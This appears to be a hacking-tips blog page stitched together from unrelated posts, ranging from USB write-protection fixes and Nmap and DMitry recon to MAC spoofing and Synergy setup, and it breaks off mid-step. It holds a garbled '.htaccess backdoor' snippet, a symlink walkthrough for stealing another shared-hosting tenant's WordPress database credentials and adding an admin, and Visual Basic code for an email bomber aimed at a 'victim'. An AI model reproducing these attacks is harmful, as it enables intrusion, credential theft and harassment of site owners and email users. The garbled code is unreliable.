What is 'write-protection'?

'Write protection' is a type of security measure which places a 'lock' on digital files. The locking action prevents modifications from being made to the stored data, and is a simple way to avoid changes being made to important files without your permission. So far, so logical; but occasionally these security measures can backfire, essentially locking you out of your own home.
Write-protection is often a physical (rather than a virtual) security measure; lifting it usually involves flicking a switch on the mass storage device. The trick is to first find the switch, and or to change the virtual settings on your computer to accept the physical changes.

Insert the memory stick into the computer
Step 1:Go to My Computer and under Devices with Removable Storage look for your card reader
Step 2:Right-click on it and click Properties In the pop-up box, sometimes there's an option to Remove write-protection. Change the status of this option and try again.

Still not working??

Remove your memory stick from the drive
Step 1:Click Start > Run... In the box type regedit and press OK
Step 2:A new window will appear. Goto:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies
Step 3:If you can't locate StorageDevicePolicies then you will need to create this folder
Step 4:Right-click on Control and click on New > Key. Name this StorageDevicePolicies
Step 5:Right-click on the new folder you created called StorageDevicePolicies and click New >DWORD Value.
Step 6:Name this WriteProtect
Step 7:Double-click on Write Protect and change the Value Data to 0 and then click OK
Step 8:Close the Registry Editor and insert the memory stick into your computer

What is Tor?

Tor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security. This guide guides your through installing tor in Kali Linux.

Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

Nmap was named “Security Product of the Year” by Linux Journal, Info World, LinuxQuestions.Org, and Codetalker Digest. It was even featured in twelve movies, including The Matrix Reloaded, Die Hard 4, Girl With the Dragon Tattoo, and The Bourne Ultimatum.

Nmap is ...

Flexible: Supports dozens of advanced techniques for mapping out networks filled with IP filters, firewalls, routers, and other obstacles. This includes many port scanning mechanisms (both TCP & UDP), OS detection, version detection, ping sweeps, and more. See the documentation page.
Powerful: Nmap has been used to scan huge networks of literally hundreds of thousands of machines.
Portable: Most operating systems are supported, including Linux, Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga, and more.
Easy: While Nmap offers a rich set of advanced features for power users, you can start out as simply as "nmap -v -A targethost". Both traditional command line and graphical (GUI) versions are available to suit your preference. Binaries are available for those who do not wish to compile Nmap from source.
Free: The primary goals of the Nmap Project is to help make the Internet a little more secure and to provide administrators/auditors/hackers with an advanced tool for exploring their networks. Nmap is available for free download, and also comes with full source code that you may modify and redistribute under the terms of the license.
Well Documented: Significant effort has been put into comprehensive and up-to-date man pages, whitepapers, tutorials, and even a whole book! Find them in multiple languages here.
Supported: While Nmap comes with no warranty, it is well supported by a vibrant community of developers and users. Most of this interaction occurs on the Nmap mailing lists. Most bug reports and questions should be sent to the nmap-dev list, but only after you read the guidelines. We recommend that all users subscribe to the low-traffic nmap-hackers announcement list. You can also find Nmap on Facebook and Twitter. For real-time chat, join the #nmap channel on Freenode or EFNet.
Acclaimed: Nmap has won numerous awards, including "Information Security Product of the Year" by Linux Journal, Info World and Codetalker Digest. It has been featured in hundreds of magazine articles, several movies, dozens of books, and one comic book series. Visit the press page for further details.
Popular: Thousands of people download Nmap every day, and it is included with many operating systems (Redhat Linux, Debian Linux, Gentoo, FreeBSD, OpenBSD, etc). It is among the top ten (out of 30,000) programs at the Freshmeat.Net repository. This is important because it lends Nmap its vibrant development and user support communities

DMitry

(Deepmagic Information Gathering Tool) is a Linux Command Line Application coded in C language.

DMitry has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and more.

The information are gathered with following methods:

* Perform an Internet Number whois lookup.

* Retrieve possible uptime data, system and server data.

* Perform a SubDomain search on a target host.

* Perform an E-Mail address search on a target host.

* Perform a TCP Portscan on the host target.

* A Modular program allowing user specified modules

open dmitry in Kali Linux

Application ==> Kali Linux ==> Information gathering ==> Live Host Identification ==> dmitry

Syntax:

dmitry -(Switches) (victim)

Example:

dmitry -p 192.168.1.5

-o

This command is used to save output specify with a given name our output the default is host.txt you could name it anything you want.

Syntax: dmitry –s domain –o filename

Ex:dmitry –s google.com –o filename

-i

Thiscommand is used to perform a whois lookup of the IP address of a host, this tells us that if we only no the name that dmitry will find the IP for us.

Syntax: dmitry –i IP address

Ex: dmitry –i 192.168.71.128

-w

This command is used to perform a whois lookup on the domain name of a host.

Syntax: dmitry –w domain

Ex: dmitry –w google.com

-n

This command is used to give us Netcraft.com information on a host.

Syntax: dmitry –n domain

We Creating Backdoor in .htaccess(Hypertext access)

1: Go public_html in shell and need to edit the .htaccess.

PHP Codes
-------------------------------------------------------
<?php
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess

Today i am going to show you how to change mac address in backtrack..

What Is Mac Address ?

A media access control address (MAC address) is a unique identifier assigned to network interfaces for communications on the physical network segment. MAC addresses are used as a network address for most IEEE 802 network technologies, including Ethernet. Logically, MAC addresses are used in themedia access control protocol sublayer of the OSI reference model.

Well changing mac address in Backtrack is pretty easy...

1: Open Console than type ifconfig eth0 down
2: Now type , macchanger -r eth0
3: ifconfig eth0 up

1.1: Command - it will disable eth0
2.1: Command - it will generate random Mac Address
3.1: Command - it will enable the eth0 Grin

Change Mac Address To Whatever You Want-

Change Mac Address Of your Choice-
Open Terminal and type -
4: ifconfig eth0 down
5:type in terminal macchanger --mac your MAc address with : : : example 11:22:33:44:55 eth0
machchanger --mac 11:22:33:44:55 eth0
6: ifconfig eth0 up

I have a secret to increase your internet connectivity response time, or at least lower the delay.This works with games, however I can still notice a significant change of browsing experience

1: Open CMD you can do this by pressing (windows) key + R and type cmd in the text box. Type ipconfig in cmd.
2: Open Regedit by pressing (windows) key + R and type regedit in the text box.
3. Locate to Regedit Directory:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

4: In cmd, after typing ipconfig you will get this that is where you will find your ip address.

5: In Regedit, you need to find the interface with that (your) IP address.

6: In that directory (you can also do this to all interfaces you will see) you will add a new DWORD (32-bit) Value in Decimal and name it (CASE SENSITIVE) TcpAckFrequency and assign value 1 by double clicking it. Add another value and name it TCPNoDelay and assign value 1. All of them are case sensitive.

After that, you need to reboot for sure.

Best E-Books on Hacking- FREE

I am sharing here some of the best E-Books on different topics like hacking, virus and malware, cryptography, forensics, cyber security etc,These E-Books are available on internet for free. But I thought I would put them together here. I am sharing them here for ABSOLUTELY FREE, just download them

what is symlink

Symlink is basically a linux function that allow you to make shortcut (reference) to another file or directory. In linux servers (shared hostings) there are many users in site and they divide hosting space in different

parts. okay if you see with hackers eye.. how will they use it for evil purpose ??

well when a hacker hacks into a website and shell it and get full access to that particular website and its user

he can only make change in specific disc space that is granted to that particular user. He have no access to other user's space

but he can use this function to read sensitive files i.e database configuration files.

example : me and You have websites on a same server you have installed a wordpress cms on your website

we are on same server but We can Try Symlinking your wordpress config file and

can get details of your database user,password and can login in mysql server easily.

suppose your website directory is

/home/target/public_html/

and mine is

/home/Cyber-Warriors/public_html/

and wordpress has default config file here ===> /public_html/wp-config.php

and it includes your database information

okay now but question is how I gonna Get your database information in that file when I just cant access your disc space?

we can try symlink so what can i do is

execute this command:

ln -s /home/target/public_html

(but execute this command in some new folder because we also gonna write some htaccess configuration code that will allow us to read all files in .txt format)

now we will see another folder created in same directory where we executed code but still we cant access it

we need to add a configuration files that will tell the server how to open this:

------------------------------------------------------

Options all

DirectoryIndex Sux.html

AddType textplain .log

AddType textplain .php

AddType textplain .conf

AddType textplain .sql

AddHandler server-parsed .php

AddHandler txt .html

Require None

Satisfy Any

------------------------------------------------------

what will this code do ? this will treat all .log, php, conf, sql files as plain text .

okay now you can access target user directory by using this

http://yourwebsite/yourfolder/symlinkdir/

you will see all files of your target directory , now just read config file and get database user

and password and login in mysql server

with his account and can add new admin to his website from there

how can you patch this ??

we can change permissions of ln for non root users by issuing command

chmod 760 /bin/ln or we can change php.ini file of main server and disable proc_open and symlink function from there.

How to make an email Bomber

What you will need

1. Microsoft Visual Basic 2010
You Can Download Microsoft Visual Basic 2010 Download!!
So let's Start
1:Open up Visual Basic 2008
2:Create a New Windows Form Application and name it anything you want for example I have named it Cyber-Bomb Then Click OK.
3:Click the window that looks like a new window. Go to the settings on the right scroll down to the bottom until you find
Text. edit this To What you want to appear on the top of your application for Example I Have Called Mine Cyber-Bomb
4:Now it is time for you too design and make the Application. Add 3 Buttons named Start-Stop and Exit You Can Change
The Names By Clicking them and then start typing.
5:Now Add 5 Text-boxes Named
(5.1):Google-mail Username
(5.2):Google-mail password
(5.3):Victims Email
(5.4).Email subject
(5.5).Email message (Make the 5th Text-Box multiline)
6:Now Add One timer.(Do NOT edit anything in this)
7:Add A Label click it and type the Number 0 . ?
8:If you have followed It so far accurately It should look something like this.
9:OK. We have now done the fun bit designing. Now it is time to code it all so it will all work.
10:Double Click The start button and type in
Code:
Timer1start()
11:Double Click The Stop button and type in
Code:
Timer1.stop()
12:Double Click The Exit button and type in
Code:
End
13:Go right to the top of the coding page and above ?Public Class? Type in
Code:
Imports System.Net.Mail
14)If you have followed it correctly so far it should look something like this
15)Now Double click the Timer and type in
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
Label1.Text = Val(Label1.Text + 1)
SMTPServer.Send(MyMailMessage)
16)Now once you have done that.
17)Now Press F5 or click the green Arrow on the top toolbar to Debug and run/test.
18)This only works with googlemail as it uses there SMTP Server. This is nothing special hwo ever it does send mass
emails to the victim and google does banna ccounts that are caught spamming like this so you may be required to make
a fair few accounts.
20)This is very basic as you can see but you can mess around with styles and jazz it up a bit for your liking.

Share a keyboard and mouse with multiple computers using only software

Hello! Friends NightStalker Here today i show you how to control a multiple pc withe a help of of simple software so if you have more then one so stop jumping from one keyboard and mouse combination to another every time you switch computers. Control multiple computers using just one set – without the need for extra hardware. QuickSynergy for Linux and Mac, working with Synergy for Windows, means there’s no combination of systems that can’t be controlled this quickly and easily. If there’s more than one computer on your desk then you need to check this out.

Multiple monitors are intuitive – you move your mouse from one screen to another and simply continue controlling. But what if your desk has multiple computers on it? Can you move your mouse from one computer to another, then work on that? And what about copy/paste functionality? That, as it turns out, can be just as simple as using multiple monitors – even if you’re using different operating systems.

So let's the fun begin...!!!

1: Go to Synergy's website and click the Download link. Either make a donation or click Continue. Download the correct installer for your operating system. Choose 32-bit if you

aren’t sure which version of Windows you have.

2: Run the file you just downloaded. Agree to the terms and conditions, then click next to install the software. You’ll need to download and install the appropriate version of the Synergy software on each computer you intend to use with your shared mouse and keyboard.

3: Log in to your router via your web browser. Look for a page which lists all the devices connected to the router. Identify your 'Master' computer, and ensure its IP address is set to be static rather than dynamic, with a value such as 192.168.1.10.

4 :Still within the router’s interface, another option will allow you to open ports for certain applications. Synergy uses 24800 by default, so follow your router's manual or online
